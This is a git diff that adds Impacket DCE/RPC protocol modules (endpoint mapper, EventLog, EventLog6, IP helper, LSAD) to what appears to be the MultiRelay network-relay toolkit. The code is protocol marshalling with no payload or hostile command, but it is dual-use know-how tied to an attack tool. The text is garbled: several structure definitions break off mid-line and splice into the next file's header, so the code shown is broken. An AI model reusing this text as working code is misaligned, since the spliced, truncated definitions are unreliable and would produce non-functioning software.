+'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol', +'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol', +'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol', +'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol', +'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol', +'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol', +'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol', +'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol', +'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol', +'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol', +'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol', +'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol', +'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol', +'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol', +'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol', +'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol', +'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol', +'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol', +'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol', +'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification', +'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:', +'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol', +'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol', +'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol', +'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol', +'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol', +'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions', +'AFA8BD80-7D8A-11C9-BEF4-08002B102989':'[MS-RPCE]: Remote Management Interface', +'00000134-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'18F70770-8E64-11CF-9AF1-0020AF6E72F4':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'958F92D8-DA20-467A-BBE3-65E7E9B4EDCF':'[MS-TSGU]: Terminal Services Gateway Server Management Interface', +'6050B110-CE87-4126-A114-50AEFCFC95F8':'[MS-DCOM]: Distributed Component Object Model (DCOM)', +'1544F5E0-613C-11D1-93DF-00C04FD7BD09':'[MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol', +'A4F1DB00-CA47-1067-B31F-00DD010662DA':'[MS-OXCRPC]: Wire Format Protocol', +'5261574A-4572-206E-B268-6B199213B4E4':'[MS-OXCRPC]: Wire Format Protocol', +} + +# Inquire Type +RPC_C_EP_ALL_ELTS = 0x0 +RPC_C_EP_MATCH_BY_IF = 0x1 +RPC_C_EP_MATH_BY_OBJ = 0x2 +RPC_C_EP_MATH_BY_BOTH = 0x1 + +# Vers Option +RPC_C_VERS_ALL = 0x1 +RPC_C_VERS_COMPATIBLE = 0x2 +RPC_C_VERS_EXACT = 0x3 +RPC_C_VERS_MARJOR_ONLY= 0x4 +RPC_C_VERS_UPTO = 0x5 + +# Search +RPC_NO_MORE_ELEMENTS = 0x16c9a0d6 + +# Floors constants +FLOOR_UUID_IDENTIFIER = 0x0d +# Protocol Identifiers +FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5 +FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC) +# Pipe Identifier +FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe +# HostName Identifier +FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName +# PortAddr Identifier +FLOOR_TCPPORT_IDENTIFIER = 0x07 +# HTTP Protocol +FLOOR_HTTP_IDENTIFIER = 0x1f + +################################################################################ +# STRUCTURES +################################################################################ + +# Tower Floors: As states in C706: +# This appendix defines the rules for encoding an protocol_tower_t (abstract) +# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields +# (concrete). For historical reasons, this cannot be done using the standard NDR +# encoding rules for marshalling and unmarshalling. A special encoding is +# required. +# Note that the twr_t and twr_p_t are mashalled as standard IDL data types, +# encoded in the standard transfer syntax (for example, NDR). As far as IDL and +# NDR are concerned, tower_octet_string is simply an opaque conformant byte +# array. This section only defines how to construct this opaque open array of +# octets, which contains the actual protocol tower information. +# The tower_octet_string[ ] is a variable length array of octets that encodes +# a single, complete protocol tower. It is encoded as follows: +# * Addresses increase, reading from left to right. +# * Each tower_octet_string begins with a 2-byte floor count, encoded +# little-endian, followed by the tower floors as follows: +# +-------------+---------+---------+---------+---------+---------+ +# | floorcount | floor1 | floor2 | floor3 | ... | floorn | +# +-------------+---------+---------+---------+---------+---------+ +# The number of tower floors is specific to the particular protocol tower, +# also known as a protseq. +# * Eachtowerfloorcontainsthefollowing: +# |<- tower floor left hand side ->|<- tower floor right hand side ->| +# +------------+-----------------------+------------+----------------------+ +# | LHS byte | protocol identifier | RHS byte | related or address | +# | count | data | count | data | +# +------------+-----------------------+------------+----------------------+ +# The LHS (Left Hand Side) of the floor contains protocol identifier information. +# Protocol identifier values and construction rules are defined in Appendix I. +# The RHS (Right Hand Side) of the floor contains related or addressing +# information. The type and encoding for the currently defined protocol +# identifiers are given in Appendix I. +# The floor count, LHS byte count and RHS byte count are all 2-bytes, +# in little endian format. +# +# So.. we're gonna use Structure to solve this + +# Standard Floor Assignments +class EPMFloor(Structure): + structure = ( + ('LHSByteCount','H=0'), + ) + +EPMFloors = [ +EPMRPCInterface, +EPMRPCDataRepresentation, +EPMFloor, +EPMFloor, +EPMFloor, +EPMFloor +] + +class EPMTower(Structure): + structure = ( + ('NumberOfFloors','. +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE +from impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY +from impacket.structure import Structure +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_EVEN = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.2 EventType +EVENTLOG_SUCCESS = 0x0000 +EVENTLOG_ERROR_TYPE = 0x0001 +EVENTLOG_WARNING_TYPE = 0x0002 +EVENTLOG_INFORMATION_TYPE = 0x0004 +EVENTLOG_AUDIT_SUCCESS = 0x0008 +EVENTLOG_AUDIT_FAILURE = 0x0010 + +# 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W +#EVENTLOG_HANDLE_A +EVENTLOG_HANDLE_W = LPWSTR + +# 2.2.9 Constants Used in Method Definitions +MAX_STRINGS = 0x00000100 +MAX_SINGLE_EVENT = 0x0003FFFF +MAX_BATCH_BUFF = 0x0007FFFF + +# 3.1.4.7 ElfrReadELW (Opnum 10) +EVENTLOG_SEQUENTIAL_READ = 0x00000001 +EVENTLOG_SEEK_READ = 0x00000002 + +EVENTLOG_FORWARDS_READ = 0x00000004 +EVENTLOG_BACKWARDS_READ = 0x00000008 + +################################################################################ +# STRUCTURES +################################################################################ + +class IELF_HANDLE(NDRSTRUCT): + structure = ( + ('Data','20s=""'), + ) + def getAlignment(self): + return 1 + +# 2.2.3 EVENTLOGRECORD +class EVENTLOGRECORD(Structure): + structure = ( + ('Length','. +# There are test cases for them too. +# +from impacket import system_errors +from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +# Evt Path Flags +EvtQueryChannelName = 0x00000001 +EvtQueryFilePath = 0x00000002 +EvtReadOldestToNewest = 0x00000100 +EvtReadNewestToOldest = 0x00000200 + +################################################################################ +# STRUCTURES +################################################################################ + +class CONTEXT_HANDLE_LOG_HANDLE(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_LOG_HANDLE), + ) + +class CONTEXT_HANDLE_LOG_QUERY(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_LOG_QUERY), + ) + +class LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): + referent = ( + ('Data', PCONTEXT_HANDLE_LOG_QUERY), + ) + +class CONTEXT_HANDLE_OPERATION_CONTROL(NDRSTRUCT): + align = 1 + structure = ( + ('Data', '20s=""'), + ) + +class PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER): + referent = ( + ('Data', CONTEXT_HANDLE_OPERATION_CONTROL), + ) + +# 2.2.11 EvtRpcQueryChannelInfo +class EvtRpcQueryChannelInfo(NDRSTRUCT): + structure = ( + ('Name', LPWSTR), + ('Status', DWORD), + ) + +class EvtRpcQueryChannelInfoArray(NDRUniVaryingArray): + item = EvtRpcQueryChannelInfo + +class LPEvtRpcQueryChannelInfoArray(NDRPOINTER): + referent = ( + ('Data', EvtRpcQueryChannelInfoArray) + ) + +class RPC_INFO(NDRSTRUCT): + structure = ( + ('Error', DWORD), + ('SubError', DWORD), + ('SubErrorParam', DWORD), + ) + +class PRPC_INFO(NDRPOINTER): + referent = ( + ('Data', RPC_INFO) + ) + +class WSTR_ARRAY(NDRUniVaryingArray): + item = WSTR + +class DWORD_ARRAY(NDRUniVaryingArray): + item = DWORD + +class LPDWORD_ARRAY(NDRPOINTER): + referent = ( + ('Data', DWORD_ARRAY) + ) + +class BYTE_ARRAY(NDRUniVaryingArray): + item = 'c' + +class CBYTE_ARRAY(NDRUniVaryingArray): + item = BYTE + +class CDWORD_ARRAY(NDRUniConformantArray): + item = DWORD + +class LPBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', CBYTE_ARRAY) + ) + +class ULONG_ARRAY(NDRUniVaryingArray): + item = ULONG + +# 2.3.1 EVENT_DESCRIPTOR +class EVENT_DESCRIPTOR(NDRSTRUCT): + structure = ( + ('Id', WORD), + ('Version', BYTE), + ('Channel', BYTE), + ('LevelSeverity', BYTE), + ('Opcode', BYTE), + ('Task', WORD), + ('Keyword', ULONG), + ) + +class BOOKMARK(NDRSTRUCT): + structure = ( + ('BookmarkSize', DWORD), + ('HeaderSize', ' / Positive Technologies (https://www.ptsecurity.com/) +# +# Description: +# Implementation of iphlpsvc.dll MSRPC calls (Service that offers IPv6 connectivity over an IPv4 network) + +from socket import inet_aton + +from impacket import uuid +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL +from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_IPHLP_IP_TRANSITION = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0')) + +# RPC_IF_ALLOW_LOCAL_ONLY +MSRPC_UUID_IPHLP_TEREDO = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0')) +MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +# Notification types +NOTIFICATION_ISATAP_CONFIGURATION_CHANGE = 0 +NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE = 1 +NOTIFICATION_TEREDO_CONFIGURATION_CHANGE = 2 +NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE = 3 +NOTIFICATION_PORT_CONFIGURATION_CHANGE = 4 +NOTIFICATION_DNS64_CONFIGURATION_CHANGE = 5 +NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6 + +################################################################################ +# STRUCTURES +################################################################################ + +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +################################################################################ +# RPC CALLS +################################################################################ + +# Opnum 0 +class IpTransitionProtocolApplyConfigChanges(NDRCALL): + opnum = 0 + structure = ( + ('NotificationNum', BYTE), + ) + +class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 1 +class IpTransitionProtocolApplyConfigChangesEx(NDRCALL): + opnum = 1 + structure = ( + ('NotificationNum', BYTE), + ('DataLength', ULONG), + ('Data', BYTE_ARRAY), + ) + +class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 2 +class IpTransitionCreatev6Inv4Tunnel(NDRCALL): + opnum = 2 + structure = ( + ('LocalAddress', "4s=''"), + ('RemoteAddress', "4s=''"), + ('InterfaceName', WSTR), + ) + +class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 3 +class IpTransitionDeletev6Inv4Tunnel(NDRCALL): + opnum = 3 + structure = ( + ('TunnelGuid', GUID), + ) + +class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ + +OPNUMS = { + 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse), + 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse), + 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse), + 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse) +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +# For all notifications except EX +def hIpTransitionProtocolApplyConfigChanges(dce, notification_num): + request = IpTransitionProtocolApplyConfigChanges() + request['NotificationNum'] = notification_num + + return dce.request(request) + +# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX +# No admin required +def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data): + request = IpTransitionProtocolApplyConfigChangesEx() + request['NotificationNum'] = notification_num + request['DataLength'] = len(notification_data) + request['Data'] = notification_data + + return dce.request(request) + +# Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5 +def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name): + request = IpTransitionCreatev6Inv4Tunnel() + request['LocalAddress'] = inet_aton(local_address) + request['RemoteAddress'] = inet_aton(remote_address) + + request['InterfaceName'] = checkNullString(interface_name) + request.fields['InterfaceName'].fields['MaximumCount'] = 256 + + return dce.request(request) + +def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid): + request = IpTransitionDeletev6Inv4Tunnel() + request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid) + + return dce.request(request) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsad.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsad.py new file mode 100644 index 0000000..6aeec63 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsad.py @@ -0,0 +1,1665 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-LSAD] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \ + LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \ + SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1.1.2 ACCESS_MASK for Policy Objects +POLICY_VIEW_LOCAL_INFORMATION = 0x00000001 +POLICY_VIEW_AUDIT_INFORMATION = 0x00000002 +POLICY_GET_PRIVATE_INFORMATION = 0x00000004 +POLICY_TRUST_ADMIN = 0x00000008 